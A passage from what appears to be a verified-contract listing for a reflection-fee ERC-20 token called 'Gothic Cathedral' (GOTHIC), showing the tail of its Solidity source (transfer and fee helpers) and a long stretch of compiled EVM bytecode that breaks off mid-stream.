= _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd80146106d2578063c9567bf9146106e9578063d28d885214610700578063d543dbeb14610790578063dd62ed3e146107cb5761012a565b80638da5cb5b1461043b57806395d89b411461047c578063a9059cbb1461050c578063b09f12661461057d578063b515566a1461060d5761012a565b8063313ce567116100e7578063313ce5671461033d5780635932ead11461036b5780636fc3eaec146103a857806370a08231146103bf578063715018a6146104245761012a565b806306fdde031461012f578063095ea7b3146101bf57806318160ddd1461023057806323b872dd1461025b578063273123b7146102ec5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610850565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cb57600080fd5b50610218600480360360408110156101e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088d565b60405180821515815260200191505060405180910390f35b34801561023c57600080fd5b506102456108ab565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bc565b60405180821515815260200191505060405180910390f35b3480156102f857600080fd5b5061033b6004803603602081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610995565b005b34801561034957600080fd5b50610352610ab8565b604051808260ff16815260200191505060405180910390f35b34801561037757600080fd5b506103a66004803603602081101561038e57600080fd5b81019080803515159060200190929190505050610ac1565b005b3480156103b457600080fd5b506103bd610ba6565b005b3480156103cb57600080fd5b5061040e600480360360208110156103e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c18565b6040518082815260200191505060405180910390f35b34801561043057600080fd5b50610439610d03565b005b34801561044757600080fd5b50610450610e89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048857600080fd5b50610491610eb2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d15780820151818401526020810190506104b6565b50505050905090810190601f1680156104fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051857600080fd5b506105656004803603604081101561052f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eef565b60405180821515815260200191505060405180910390f35b34801561058957600080fd5b50610592610f0d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d25780820151818401526020810190506105b7565b50505050905090810190601f1680156105ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061957600080fd5b506106d06004803603602081101561063057600080fd5b810190808035906020019064010000000081111561064d57600080fd5b82018360208201111561065f57600080fd5b8035906020019184602083028401116401000000008311171561068157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610f46565b005b3480156106de57600080fd5b506106e7611096565b005b3480156106f557600080fd5b506106fe611110565b005b34801561070c57600080fd5b5061071561178e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075557808201518184015260208101905061073a565b50505050905090810190601f1680156107825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079c57600080fd5b506107c9600480360360208110156107b357600080fd5b81019080803590602001909291905050506117c7565b005b3480156107d757600080fd5b5061083a600480360360408110156107ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611976565b6040518082815260200191505060405180910390f35b60606040518060400160405280601081526020017f476f746869632043617468656472616c00000000000000000000000000000000815250905090565b60006108a161089a6119fd565b8484611a05565b6001905092915050565b6000683635c9adc5dea00000905090565b60006108c9848484611bfc565b61098a846108d56119fd565b61098585604051806060016040528060288152602001613ee960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245b9092919063ffffffff16565b611a05565b600190509392505050565b61099d6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610ac96119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be76119fd565b73ffffffffffffffffffffffffffffffffffffffff1614610c0757600080fd5b6000479050610c158161251b565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610cb357600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610cfe565b610cfb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612616565b90505b919050565b610d0b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f474f544849430000000000000000000000000000000000000000000000000000815250905090565b6000610f03610efc6119fd565b8484611bfc565b6001905092915050565b6040518060400160405280600681526020017f474f54484943000000000000000000000000000000000000000000000000000081525081565b610f4e6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b81518110156110925760016007600084848151811061102c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611011565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110d76119fd565b73ffffffffffffffffffffffffffffffffffffffff16146110f757600080fd5b600061110230610c18565b905061110d8161269a565b50565b6111186119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff161561125b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112eb30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611a05565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561133157600080fd5b505afa158015611345573d6000803e3d6000fd5b505050506040513d602081101561135b57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113ce57600080fd5b505afa1580156113e2573d6000803e3d6000fd5b505050506040513d60208110156113f857600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b505050506040513d602081101561149c57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061153630610c18565b600080611541610e89565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156115c657600080fd5b505af11580156115da573d6000803e3d6000fd5b50505050506040513d60608110156115f157600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550683635c9adc5dea000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561174f57600080fd5b505af1158015611763573d6000803e3d6000fd5b505050506040513d602081101561177957600080fd5b81019080805190602001909291905050505050565b6040518060400160405280601081526020017f476f746869632043617468656472616c0000000000000000000000000000000081525081565b6117cf6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461188f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611905576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b611934606461192683683635c9adc5dea0000061298490919063ffffffff16565b612a0a90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613f5f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ea66022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f3a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e596023913960400191505060405180910390fd5b60008111611d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613f116029913960400191505060405180910390fd5b611d69610e89565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611dd75750611da7610e89565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561239857601360179054906101000a900460ff161561203d573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e5957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611eb35750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f0d5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561203c57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f536119fd565b73ffffffffffffffffffffffffffffffffffffffff161480611fc95750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fb16119fd565b73ffffffffffffffffffffffffffffffffffffffff16145b61203b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461212d5760145481111561207f57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121235750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61212c57600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121d85750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561222e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122465750601360179054906101000a900460ff165b156122de5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061229657600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006122e930610c18565b9050601360159054906101000a900460ff161580156123565750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561236e5750601360169054906101000a900460ff165b156123965761237c8161269a565b60004790506000811115612394576123934761251b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061243f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561244957600090505b61245584848484612a54565b50505050565b6000838311158290612508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124cd5780820151818401526020810190506124b2565b50505050905090810190601f1680156124fa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61256b600284612a0a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612596573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125e7600284612a0a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612612573d6000803e3d6000fd5b5050565b6000600a54821115612673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613e7c602a913960400191505060405180910390fd5b600061267d612cab565b90506126928184612a0a90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156126cf57600080fd5b506040519080825280602002602001820160405280156126fe5781602001602082028036833780820191505090505b509050308160008151811061270f57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127b157600080fd5b505afa1580156127c5573d6000803e3d6000fd5b505050506040513d60208110156127db57600080fd5b8101908080519060200190929190505050816001815181106127f957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061286030601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a05565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612924578082015181840152602081019050612909565b505050509050019650505050505050600060405180830381600087803b15801561294d57600080fd5b505af1158015612961573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156129975760009050612a04565b60008284029050828482816129a857fe5b04146129ff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ec86021913960400191505060405180910390fd5b809150505b92915050565b6000612a4c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612cd6565b905092915050565b80612a6257612a61612d9c565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b1a57612b15848484612ddf565b612c97565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612bbd5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bd257612bcd84848461303f565b612c96565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c745750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c8957612c8484848461329f565b612c95565b612c94848484613594565b5b5b5b80612ca557612ca461375f565b5b50505050565b6000806000612cb8613773565b91509150612ccf8183612a0a90919063ffffffff16565b9250505090565b60008083118290612d82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d47578082015181840152602081019050612d2c565b50505050905090810190601f168015612d745780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612d8e57fe5b049050809150509392505050565b6000600c54148015612db057506000600d54145b15612dba57612ddd565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612df187613a20565b955095509550955095509550612e4f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ee486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f7985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fc581613b5a565b612fcf8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061305187613a20565b9550955095509550955095506130af86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061314483600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131d985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061322581613b5a565b61322f8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806132b187613a20565b95509550955095509550955061330f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133a486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343983600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134ce85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061351a81613b5a565b6135248483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806135a687613a20565b95509550955095509550955061360486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061369985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136e581613b5a565b6136ef8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156139d5578260026000600984815481106137ad57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613894575081600360006009848154811061382c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156138b257600a54683635c9adc5dea0000094509450505050613a1c565b61393b60026000600984815481106138c657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613a8890919063ffffffff16565b92506139c6600360006009848154811061395157fe5b90600